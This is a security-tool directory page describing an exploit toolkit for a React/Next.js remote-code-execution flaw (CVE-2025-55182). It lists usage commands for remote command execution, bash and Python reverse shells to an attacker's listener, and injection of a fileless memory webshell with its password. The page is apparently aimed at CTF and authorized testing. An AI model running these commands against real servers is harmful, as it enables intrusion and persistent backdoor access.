Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-55182-Toolbox — Automated exploitation tool for CVE-2025-55182 (React/Next.js RCE) with command execution, outbound detection, interactive reverse shell, and persistent memory webshell injection for authorized penetration testing and CTF challenges. | Kitploit
Tools/GitHubGitHub/lamaper/cve-2025-55182-toolbox
Persistence MechanismsExploitationWeb Application ExploitationPost-ExploitationCTFPenetration TestingCommand and ControlRed TeamingPayload Development

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
GitHublamaper/cve-2025-55182-toolbox

CVE-2025-55182-Toolbox

Automated exploitation tool for CVE-2025-55182 (React/Next.js RCE) with command execution, outbound detection, interactive reverse shell, and persistent memory webshell injection for authorized penetration testing and CTF challenges.

View Repository
148 months agoNot yet reviewed
Share

React2Shell: Comprehensive Exploitation Tool for CVE-2025-55182

Author: lamaper / BITs2Sys

Version: 1.0.1

License: MIT

📝 Tool Introduction

This tool is an automated penetration testing tool specifically designed for CVE-2025-55182 (React Server Components / Next.js prototype pollution leading to RCE). Designed for CTF competitions and authorized security service projects, it integrates multiple functions including vulnerability verification, outbound network detection, reverse shell, and memory shell injection.

🚀 Core Features

  • One-click Command Execution (--cmd) : Leverages the NEXT_REDIRECT exception mechanism to precisely return Base64-encoded command execution results.
  • Outbound Status Detection (--check-outbound) : Automatically tests the target machine's ability to access DNS, HTTP, and ICMP, aiding in attack path decisions.
  • Interactive Reverse Shell (--shell) : Built-in Bash and Python3 reverse shell modes, supporting asynchronous execution to prevent HTTP request hanging.
  • Persistent Memory Shell (--inject-ms) : Injects a memory shell by hijacking the Node.js http.Server event dispatch mechanism, leaving no files on disk and supporting persistent control.
  • Memory Shell Interaction Interface (--ms-cmd) : An interaction mode independent of the vulnerability trigger path; after injection, commands can be directly executed via the backdoor.
  • 🛠️ Installation & Dependencies

    This tool is developed based on Python 3 and only requires the requests library.

    root@kitploit:~
    pip install requests
    

    📖 Usage Guide

    0. Detect if the Vulnerability Exists

    https://github.com/assetnote/react2shell-scanner is a useful detection tool.

    1. Basic Command Execution

    Directly fetch target machine information:

    root@kitploit:~
    python exploit.py --url http://target.com/ --cmd "id"
    python exploit.py --url http://target.com/ --cmd "cat /flag"
    

    2. Outbound Detection

    Before attempting a reverse shell, confirm whether the target machine can connect to the external network:

    root@kitploit:~
    python exploit.py --url http://target.com/ --check-outbound
    

    3. Reverse Shell

    Bash Mode:

    root@kitploit:~
    # Attacker machine listens: nc -lvnp 4444
    python exploit.py --url http://target.com/ --shell bash --ip <Your IP> --port 4444
    

    Python Mode:

    root@kitploit:~
    python exploit.py --url http://target.com/ --shell python --ip <Your IP> --port 4444
    

    4. Memory Shell Exploitation (Persistence)

    Inject Memory Shell:

    root@kitploit:~
    python exploit.py --url http://target.com/ --inject-ms
    

    Execute Commands via Memory Shell (use after successful injection):

    root@kitploit:~
    python exploit.py --url http://target.com/ --ms-cmd "whoami"
    

    Note: The default mount path for the memory shell is /?pass, triggered by submitting the pwd parameter via POST.

    Connect via AntSword:

    Connection password: pwd, connection method: CMDLINUX

    ⚠️ Disclaimer

    This tool is intended only for security research, CTF competitions, and authorized penetration testing within the bounds permitted by law. It is strictly prohibited to use it for illegal attacks. The user shall bear all consequences arising from the use of this tool.


    Download Tool